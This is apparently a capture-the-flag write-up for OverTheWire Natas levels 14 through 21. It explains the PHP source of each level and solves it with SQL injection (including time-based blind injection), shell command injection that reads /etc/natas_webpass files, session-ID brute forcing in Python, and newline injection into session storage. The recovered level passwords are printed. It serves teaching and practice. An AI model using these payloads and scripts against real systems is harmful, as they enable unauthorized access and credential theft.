OTW – Natas

These are security problems from OverTheWire.. Natas teaches the basics of server side web-security.

Natas Level 20 → Level 21

As soon as you login to the level, you are greeted with a message saying that “You are logged in as a regular user. Login as an admin to retrieve credentials for natas21”. Looking at the sourcecode, we see a lots of stuffs.

<? 
function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas21\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; 
    } 
} 
/* }}} */ 

/* we don't need this */ 
function myopen($path, $name) {  
    //debug("MYOPEN $path $name");  
    return true;  
} 

/* we don't need this */ 
function myclose() {  
    //debug("MYCLOSE");  
    return true;  
} 

function myread($sid) {  
    debug("MYREAD $sid");  
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return ""; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    if(!file_exists($filename)) { 
        debug("Session file doesn't exist"); 
        return ""; 
    } 
    debug("Reading from ". $filename); 
    $data = file_get_contents($filename); 
    $_SESSION = array(); 
    foreach(explode("\n", $data) as $line) { 
        debug("Read [$line]"); 
    $parts = explode(" ", $line, 2); 
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; 
    } 
    return session_encode(); 
} 

function mywrite($sid, $data) {  
    // $data contains the serialized version of $_SESSION 
    // but our encoding is better 
    debug("MYWRITE $sid $data");  
    // make sure the sid is alnum only!! 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    $data = ""; 
    debug("Saving in ". $filename); 
    ksort($_SESSION); 
    foreach($_SESSION as $key => $value) { 
        debug("$key => $value"); 
        $data .= "$key $value\n"; 
    } 
    file_put_contents($filename, $data); 
    chmod($filename, 0600); 
} 

/* we don't need this */ 
function mydestroy($sid) { 
    //debug("MYDESTROY $sid");  
    return true;  
} 
/* we don't need this */ 
function mygarbage($t) {  
    //debug("MYGARBAGE $t");  
    return true;  
} 

session_set_save_handler( 
    "myopen",  
    "myclose",  
    "myread",  
    "mywrite",  
    "mydestroy",  
    "mygarbage"); 
session_start(); 

if(array_key_exists("name", $_REQUEST)) { 
    $_SESSION["name"] = $_REQUEST["name"]; 
    debug("Name set to " . $_REQUEST["name"]); 
} 

print_credentials(); 

$name = ""; 
if(array_key_exists("name", $_SESSION)) { 
    $name = $_SESSION["name"]; 
} 
?>

Let’s look at each function and see what it does:

  • debug($msg) just turn on debug. You can try it by adding “/index.php?debug” at the end of the url and hit enter to see the debug messages, $msg.
  • print_credentials()  will print natas21 username and password if the following conditionals are satisfied:
    • $_SESSION is true if there is an existing session. The array $_SESSION is not empty.
    • array_key_exists(“admin”, $_SESSION) is true if “admin” key is set in $_SESSION.
    • $_SESSION[“admin”] == 1 is true if the value associated with the key “admin” in $_SESSION is set to 1
  • myopen($path, $name) always return true.
  • myclose() always return true.
  • myread($sid) has several parts
    • The first if(strspn….) statement check if the $sid contains characters that is within the long string of characters. If it is not, return “Invalid SID”. Otherwise, continue.
    • Then, it check to see if the path exist for the file call /mysess_$sid. For example, if $sid is abcdefg, it is checking for the file mysess_abcdefg. If the file exist, continue.
    • Here, we see that the content of the file is save in $data and the foreach loop take each new line of $data and put it in $line. Then, it takes each space separated word in each $line and put them in an array call $parts. If the first part ($parts[0]) is not an empty string, then it will use the first part as the session key and the second part ($parts[1]) as the value corresponding to that key.
  • mywrite($sid, $data) also has several parts
    • The first if(strspn …) does the same check for valid $sid in myread()
    • The same $filename is created using the $sid.
    • The key is sorted in $_SESSION and the foreach loop take the pair of $key and corresponding $value and add it as a new line in $data. The $data is then write to the $filename.
  • mydestroy($sid) always return true.
  • mygarbage($t) always return true.
  • main interface does the following:
    • session_start().
    • check name is in the $_REQUEST, if so, set the $_SESSION[“name”] to $_REQUEST[“name”]. If we input “test” as a name, it will correspond “test” as the
    • print_credentials()
    • set $name to empty string and check if “name” is in the $_SESSION, if so, set the variable $name to $_SESSION[“name”]

So this seem to be a long explanation of the code but the most important part is the myread() and mywrite(). Especially in mywrite(), it is writing each $key and $value pair with a new line. We know from print_credentials(), we need a $key and $value pair of “admin” and 1 to get access to the next password. If we add a line “admin 1” in the file, the myread() function will read it out with no problem. So our input must be include “admin 1” on a newline. For example, if we put “test” and hit enter. We get a line like below in the file.

test

What we need is two lines like this.

test
admin 1

So by enter “test” plus newline plus “admin 1”, we should be able to get the password. We can code this in python as following:

#!/bin/python3
import requests

user = "natas20"
passwd = "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF" 
url = "http://"+user+".natas.labs.overthewire.org"
hack = dict(name="test\nadmin 1")

session = requests.Session()
session.post(url, auth=(user, passwd), data=hack)

httpreq = session.get(url, auth=(user, passwd))

print (httpreq.content)

From the printout of the contents, we found the next password.

IFekPyrQXftziDEsUr3x21sYuahypdgJ

We can also bypass using python and input this straight into the url as follow.

http://natas20.natas.labs.overthewire.org/index.php?debug&name=test%0Aadmin%201

Additional resources:

Advertisements

Natas Level 19 → Level 20

The page start with a message saying it is pretty much using the code from previous one except it is not sequential. Again, there is a username and a password field for you to login as admin and to retrieve credentials for natas20. No source code available. I entered a username: admin and password:password and intercepted the traffic using burp. Let see what the PHPSESSID looks like in the headers.

PHPSESSID=3534382d61646d696e; path=/; HttpOnly

That’s a lot of character for brute force. However, if you notice, the session id looks like hex. I quickly check what this is in ASCII.

548-admin

That seems a little too good to be true. Notice I use the user admin, so let modify our last script to enumerate 1 to 640 (hopefully $maxid is still the same), append that with “-admin”, convert the whole thing into hex string, set the PHPSESSID and see if we can get the next password.

#!/bin/python3
import requests
import binascii

def str2byte(s):
 return bytes(s, encoding='utf-8')

def byte2hex(b):
 return ''.join([hex(n)[2:].rjust(2,'0') for n in b])

def str2hex(s):
 return byte2hex(str2byte(s))

maxid = 641
user = "natas19"
passwd = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs" 
url = "http://"+user+".natas.labs.overthewire.org"
admin = '-admin'
match = "You are an admin. The credentials for the next level are:"

for i in range(maxid):
 c = dict(PHPSESSID=str2hex(str(i)+admin))
 h = requests.get(url, auth=(user, passwd), cookies=c)
 if match in str(h.content):
 print (h.content)
 break

We got the next password in the content again (id=501). With the id at such high number in the last level, I had a temptation to run the range reverse or use random generator to pick my id. However, in real life, unless you had a reason to suspect the id is not generated randomly, there is no penalty to start from the lowest number to highest number for the brute force attack because the average guess will be the same ($maxid/2).

eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

In the python code, I reuse codes from set 1 of the matasano crypto challenges. There are documentation on how to convert between binary and ASCII below.

Additional resources:

Natas Level 18 → Level 19

The page start with a username and a password field for you to login as admin and to retrieve credentials for natas19. From the source code, it is not as simple.

<? 
$maxid = 640; // 640 should be enough for everyone 

function isValidAdminLogin() { /* {{{ */ 
 if($_REQUEST["username"] == "admin") { 
 /* This method of authentication appears to be unsafe and has been disabled for now. */ 
 //return 1; 
 } 
 return 0; 
} 
/* }}} */ 
function isValidID($id) { /* {{{ */ 
 return is_numeric($id); 
} 
/* }}} */ 
function createID($user) { /* {{{ */ 
 global $maxid; 
 return rand(1, $maxid); 
} 
/* }}} */ 
function debug($msg) { /* {{{ */ 
 if(array_key_exists("debug", $_GET)) { 
 print "DEBUG: $msg<br>"; 
 } 
} 
/* }}} */ 
function my_session_start() { /* {{{ */ 
 if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { 
 if(!session_start()) { 
 debug("Session start failed"); 
 return false; 
 } else { 
 debug("Session start ok"); 
 if(!array_key_exists("admin", $_SESSION)) { 
 debug("Session was old: admin flag set"); 
 $_SESSION["admin"] = 0; // backwards compatible, secure 
 } 
 return true; 
 } 
 } 
 return false; 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
 if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
 print "You are an admin. The credentials for the next level are:<br>"; 
 print "<pre>Username: natas19\n"; 
 print "Password: <censored></pre>"; 
 } else { 
 print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; 
 } 
} 
/* }}} */ 
$showform = true; 
if(my_session_start()) { 
 print_credentials(); 
 $showform = false; 
} else { 
 if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { 
 session_id(createID($_REQUEST["username"])); 
 session_start(); 
 $_SESSION["admin"] = isValidAdminLogin(); 
 debug("New session started"); 
 $showform = false; 
 print_credentials(); 
 } 
} 
if($showform) { 
?>

Let’s look at the code to see what this is doing.

  • At the top, $maxid is set to 640 seems to indicated that there are only 640 id available.
  • Next, isValidAdminLogin() function will always return 0. The if statement does nothing.
  • IsValidID() is only checking if the $id is numeric.
  • createID() randomly pick a user id from 1 to 640 ($maxid)
  • debug() print debug message if “debug” key is set in $_GET
  • my_session_start() does several things here
    • It checks if PHPSESSID set in $_COOKIE, and the set value is numeric, if false on either condition, my_session_start() return false. PHPSESSID is a cookie to store unique session id string in user’s computer.
    • If true on above condition, it will then checks if session has failed to start (session_start() return false), if so, it prints a debug message and return false for my_session_start()
    • Otherwise if a session has successfully started (session_start() is true) and return true for my_session_start(). It also set the $_SESSION variable for key “admin” to 0 if the key “admin” is NOT in the $_SESSION variable array.
  • print_credentials will print the next password if $_SESSION has something in it and contain an “admin” key in $_SESSION with its variable set to 1. Otherwise, a regular user message is printed.
  • main function check
    • if my_session_start() is true then call print_credentials(). Which means a PHPSESSID exist in $_COOKIE and the value is numeric before calling print_credentials().
    • otherwise, if my_session_start() is false means either PHPSESSID is not in $_COOKIE or the value is not numeric or session_start() return false (session failed to start). It will check if the key “username” exist in $_REQUEST and “password” exist in $_REQUEST, if so, it will get a number between 1 and 640 and make that as the current session id, start a new session (session_start()), set the “admin” key in $_SESSION to 0 (invalid admin login), and finally call print_credentials.
So to get the next password, we must take the then path in main function with the “admin” key in $_SESSION set to 1. In order to do that, the “admin” key must already be in the $_SESSION. However, unless we are already in the “admin” session, we really can’t do anything to the “admin” value because any new session will set the “admin” in $_SESSION to 0.In another word, the only way to do this is to fake our session id so that it is the “admin” session id, and the value is set to 1 in $_SESSION for “admin”. From createID(), we see that session id is selected between 1 to 640. Since there are only 640 session id available due to the $maxid constraint when createID(), we can enumerate the session id by setting PHPSESSID in $_COOKIE to one of the value and check the return for the matching admin message in print_credentials().

Coding a for loop to do this automatically. Using python requests library make this task super easy.

#!/bin/python3
import requests
maxid = 641
url = "http://natas18.natas.labs.overthewire.org"
user = "natas18"
passwd = "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP"
match = "You are an admin. The credentials for the next level are:"

for i in range(maxid):
    c = dict(PHPSESSID=str(i))
    h = requests.get(url, auth=(user, passwd), cookies=c)
    if match in str(h.content):
        print (h.content)
        break

Took us a while (id=585) but we got the next password in the content.

4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

This challenge forced me to read up on PHP session handling and some of the functions. I included some of the references that help understand the PHP code.

Additional resources:

Natas Level 17 → Level 18

The page contain a username for you to check if the user exist but after you enter anything, it return a blank page. Looking at the source code, we can see there is a very similar attack to use from our sql injection from Level 15 → 16 but comments out all responses.

<? 
/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 

if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas17', '<censored>'); 
    mysql_select_db('natas17', $link); 
     
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 

    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        //echo "This user exists.<br>"; 
    } else { 
        //echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        //echo "Error in query.<br>"; 
    } 
    mysql_close($link); 
} else { 
?>

Notice that beside the comments out echo, the code is exactly the same as Level 15 → 16. This mean we can still do sql injection but we need some other way to let us know our username/password guess is correct. Luckily, there is a query command call SLEEP that causes the process to sleep for a number of seconds. We try using this by guessing our next username natas18 with the following input.

natas18" and SLEEP(10); #
The blank page comes back unusually long indicate that natas18 is one of the username exist in the database. We verify it by putting anything else in place of natas18 and the blank page comes back immediately. This tells us that it is using short circuit evaluation for the “and” predicate. This time, let’s use REGEXP instead of LIKE to show the same attack. We can search a range instead of one character at a time using [a-z] for a to z. Manually doing a binary search of all characters gives us the first character of the next password.
natas18" AND password COLLATE latin1_general_cs REGEXP "^x" AND SLEEP(3); #
We are ready to modify our previous program to include a timing attack by detecting when the server response, we can tell which of our guess is correct. After playing with the code to include a time different check between each request and response time (> 2.0 sec), we got the next password.
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Using a binary search algorithm in our script and choosing a short enough sleep time really shorten the overall execution time by a lot.

Additional resources:

Natas Level 16 → Level 17

This looks similar to Natas Level 10 → Level 11 except with more illegal character.

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

If we put any word as input, it will search the dictionary (regardless of case, grep -i) and output all those words. As you can see the input is not sanitize except for those illegal character. What we need is to craft commands that fit into $key and give us back the next password. From bash, we found that () can be use to execute subshell commands and using $, we can substitute the result of the subshell  into the grep -i command above. We can use cut to get one character at a time from the default password file.

$(cut -c 1 /etc/natas_webpass/natas17)
When we enter this in the input, we got nothing. However, if we try the second character, we immediately get a full page of text. What happen is that the dictionary file does not contain digit, only letters. The second letter of the password seems to be a p or P but we don’t know because the grep in front have -i option to ignore case. We could try to use grep instead like we did in our last challenge. Since we know the first character is probably a digit from our cut command, we can check all digit using this.
$(grep ^0 /etc/natas_webpass/natas17)
If we run the above command from 0-7, we will be greeted with the whole dictionary file. However, when we hit 8, nothing output. This mean that 8 is in the next password. Let’s append a word at the end so that when we didn’t match, it will return that word, and when we found the correct character, that character will prepend the word and cause no match to the dictionary.
$(grep ^8 /etc/natas_webpass/natas17)Africans

Now, we will reuse our script from last level and tweet it to input the above and vary the character we search. Notice we can just change the url encoding each time we try a different character. The first “X” after grep is the location where your password string go as you discover each character.

http://natas16.natas.labs.overthewire.org/?needle=%24%28grep+%5EX+%2Fetc%2Fnatas_webpass%2Fnatas17%29Africans&submit=Search

We can also try to do a binary search by using more than one character inside [] after the ^.

$(grep ^8[01234567890] /etc/natas_webpass/natas17)Africans

For example, the above will check if the second character is also a digit after we find the correct first digit (8). Once you loop through all 32 characters (we will assume its 32 but you can test it by append a wild card at the end each time to verify if there are more undiscover character), the next password will be your final output.

8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Additional resources:

Natas Level 15 → Level 16

The page contain a username for you to check if the user exist. Looking at the source code, we can see there is a very similar attack to use from our sql injection from previous level

<? 

/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 

if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas15', '<censored>'); 
    mysql_select_db('natas15', $link); 
     
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 

    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        echo "This user exists.<br>"; 
    } else { 
        echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        echo "Error in query.<br>"; 
    } 

    mysql_close($link); 
} else { 
?>

Notice that this time, it only check for the username and return only two response, either the user exists or not. However, from our last sql injection, we can see that this code is still not sanitizing the double quote which mean we can input what in the first line below into the user input form to include the criteria for password (see the previous level) and create query like the second line

X" and password = "X
SELECT * from users where username = "X" and password = "X"
However, the response is only the user exist or not. Therefore, we need to find the username and then find out what the password. From our previous levels, we know this time we are looking for user natas16 password. If we just try that username, the user exist! Next, if you remember, all of the password for each level are 32 characters. One way to find out if this is true is to use the sql LIKE and wildcard to check the user still exist if we put the following input.
natas16" and password like "________________________________
Indeed, we put 32 “_” characters and the user still exist but not with 33 because “_” is a wildcard for a single character. Now, instead of putting 32 “_”, we put a% at the end where % is wildcard for any number of any character, we can check to see if the first character start with a. If you try this up to w, it will produce the user exist response but W also works. The reason is that upper and lower case are not distinguish. Therefore, after “like”, we put “binary” before W%” to make sure this is case sensitive. Obviously, doing this 32 times is a bit too much. So I got a python script to do exactly that. After we run our program for a while, the next password is shown at the end.
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Beside using like, regexp is also possible to use in sql. However, the wildcard characters are different. Finally, Burp, the tool that we have been using to intercept our traffic has a function call Intruder where you can set your payload to brute forcer and do exactly the python script does for each characters.

Additional resources:

Natas Level 14 → Level 15

The page contain a username and a password to be able to login. Looking at the source code, we can see that the username and password will be use as part of the sql query to obtain the authentication.

<? 
if(array_key_exists("username", $_REQUEST)) { 
 $link = mysql_connect('localhost', 'natas14', '<censored>'); 
 mysql_select_db('natas14', $link); 
 
 $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; 
 if(array_key_exists("debug", $_GET)) { 
 echo "Executing query: $query<br>"; 
 } 

 if(mysql_num_rows(mysql_query($query, $link)) > 0) { 
 echo "Successful login! The password for natas15 is <censored><br>"; 
 } else { 
 echo "Access denied!<br>"; 
 } 
 mysql_close($link); 
} else { 
?>

We see that the first if statement check if the username exists, if so, create connection $link using mysql_connect to database natas14.

Next, the $query is constructed our of username and the password. However, the if statement under that said if there is a “debug” in our $_GET, the $query will be echo.

Lastly, it will check if the $query and the $link return more than 0 rows. If so, we get the password, otherwise, access is denied.

The key is to get the query return at least 1 row but we could return as many as we want. Let’s use the debug feature to see what the query looks like by supplying the following url.

http://natas14.natas.labs.overthewire.org/index.php?username=user&password=password&debug
Executing query: SELECT * from users where username="user" and password="password"
Access denied!
We can see that what we input in the username and password field is being use as the input for the query. A classic SQL injection is to finish the double quote and add something that is always true and match the closing double quote. Since we surrounded by double quotes, we could use something that will produce a query like this:
SELECT * from users where username="" or ""="" and password="" or ""=""
Comparing the two queries, the username and password provided in the form is shown below to match the double quote that used in the query while create an always true query.
" or ""="
After we input and hit login, the next password is shown with a successful login message.
AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Additional resources: